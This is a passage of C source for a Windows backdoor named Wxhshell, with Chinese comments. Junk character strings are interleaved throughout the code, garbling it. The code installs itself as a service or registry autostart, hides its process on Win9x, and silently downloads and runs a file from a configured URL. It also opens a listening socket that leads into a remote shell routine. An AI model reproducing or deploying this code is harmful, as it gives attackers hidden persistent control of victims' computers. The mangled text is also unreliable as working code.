VMWf>ZU char procName[255]; 0 @oJFJrO unsigned long cbNeeded; 2J BR)P 4,DeHJjAlE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y$@?.)tY Lp9E:D-> CloseHandle(hProcess); oCz/HQoBk &F~T-i>X if(strstr(procName,"services")) return 1; // 以服务启动 vEJbA k9L;!TH~1K return 0; // 注册表启动 9\7en%( M } cbTm'}R(G i9x+A/o[ // 主模块 /j.9$H'y int StartWxhshell(LPSTR lpCmdLine) >4CbwwMA { _oeS Uzq. SOCKET wsl; gg2(5FPP BOOL val=TRUE; ujpJ@OWj int port=0; 3^yK!-Wp( struct sockaddr_in door;
o66}yJzmD xJ.M;SF4 if(wscfg.ws_autoins) Install(); utV_W& IH+|}z4N?> port=atoi(lpCmdLine); UkFC~17P Z,PPu&lmE/ if(port<=0) port=wscfg.ws_port; =rdV ]{Wc tKXIk9e WSADATA data; SE*g;Cvg1 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j0q&&9/Jj 4j^
@wV' if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {+>-7
9b setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cw
<l{A door.sin_family = AF_INET; 4o5t#qP5$S door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jln:`!#fDf door.sin_port = htons(port); jnwu9PQ TB31-
() if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^U/O!GK closesocket(wsl); ZbKg~jdF return 1; ]7A'7p$Y } !j-Z Lq:; wUJcmM; if(listen(wsl,2) == INVALID_SOCKET) { r5^eNg k closesocket(wsl); k+*u/neh return 1; x]j W<A } %8v\FS Wxhshell(wsl); 1< ?4\?j WSACleanup(); x
kD6Iw MF'JeM;H return 0; 6ik$B o)/ 0a } "#g}ve, iWR)ke // 以NT服务方式启动 <F'\lA9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P.DK0VgY { #AY&BWS$ DWORD status = 0; gjlx~.0d DWORD specificError = 0xfffffff; +lTq^4 \Vk:93OH21 serviceStatus.dwServiceType = SERVICE_WIN32;
Q+{n-? : serviceStatus.dwCurrentState = SERVICE_START_PENDING; c &c@M$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |DwZ{(R"W serviceStatus.dwWin32ExitCode = 0; :Hbv)tS\3w serviceStatus.dwServiceSpecificExitCode = 0; uXiN~j &Be serviceStatus.dwCheckPoint = 0; #O&8A serviceStatus.dwWaitHint = 0; uQzXfOq /x *3}oI hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \w8\1~# if (hServiceStatusHandle==0) return; 7d\QB(~ * v#o status = GetLastError(); ;kKyksxlD if (status!=NO_ERROR) dc'Y`e { 4<v&S2Yq serviceStatus.dwCurrentState = SERVICE_STOPPED; -nwypu serviceStatus.dwCheckPoint = 0; qe\5m.k serviceStatus.dwWaitHint = 0; $/ ],tSm serviceStatus.dwWin32ExitCode = status; |uJ%5y# serviceStatus.dwServiceSpecificExitCode = specificError; Dha1/g1q SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~$J2g return; ia?
c0xL } B)UZ`?>c w32y3~ serviceStatus.dwCurrentState = SERVICE_RUNNING; 9-
#R)4_ serviceStatus.dwCheckPoint = 0; Dt1jW serviceStatus.dwWaitHint = 0; 4I[P> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B<C&xDRZ0 } 2`-Bs ,]D,P // 处理NT服务事件,比如:启动、停止 w!XD/jN VOID WINAPI NTServiceHandler(DWORD fdwControl) QZ8IV> { -Qe'YBy: switch(fdwControl) Uw:"n]G]D? { M3au{6y case SERVICE_CONTROL_STOP: d_P` qA serviceStatus.dwWin32ExitCode = 0; T> p&$]OG serviceStatus.dwCurrentState = SERVICE_STOPPED; hqdDm serviceStatus.dwCheckPoint = 0; 1 -b_~DF serviceStatus.dwWaitHint = 0; %l%HHT { K)P%;X SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tj- s4x } O".=r} return; QsW/X0YBv case SERVICE_CONTROL_PAUSE: 1
TXioDs=_ serviceStatus.dwCurrentState = SERVICE_PAUSED; "Y.y:Vv; break; p
K$`$H case SERVICE_CONTROL_CONTINUE: (tO\)aS= serviceStatus.dwCurrentState = SERVICE_RUNNING; H"F29Pu2 break; FGkVqZ Y2? case SERVICE_CONTROL_INTERROGATE: oL<St$1 break; Z30A{6} }; "wc<B4" SetServiceStatus(hServiceStatusHandle, &serviceStatus); tl>7^hH } 7-A2_!_x{ E(|>Ddv B& // 标准应用程序主函数 i-&yH int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t`QENXA} { Bbp|!+KP{( TsZ@ // 获取操作系统版本 i@'dH3-kO
OsIsNt=GetOsVer(); S]{oPc[7 GetModuleFileName(NULL,ExeFile,MAX_PATH); K>
e7pu ;n},"& // 从命令行安装 jj>]9z if(strpbrk(lpCmdLine,"iI")) Install(); Ir]\|t S,=|AD // 下载执行文件 M3Kfd if(wscfg.ws_downexe) { {GUF;V
^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4GM6)"#d WinExec(wscfg.ws_filenam,SW_HIDE); ,z?':TZ } bPMhfK2 % [00m/fT6 if(!OsIsNt) { ,+ ~W4<f // 如果时win9x,隐藏进程并且设置为注册表启动 I}Q2Vu< HideProc(); T9& 1VW StartWxhshell(lpCmdLine); wQLSf{2 } DTs;{c else +/\6=).\ if(StartFromService()) BerwI
7!= // 以服务方式启动 l;V173W=& StartServiceCtrlDispatcher(DispatchTable); tMe ~vq[ else QS j]ZA // 普通方式启动 xezcAwW StartWxhshell(lpCmdLine); \j.:3Xr @ .KGfNu return 0; FPTK`Gd0 }
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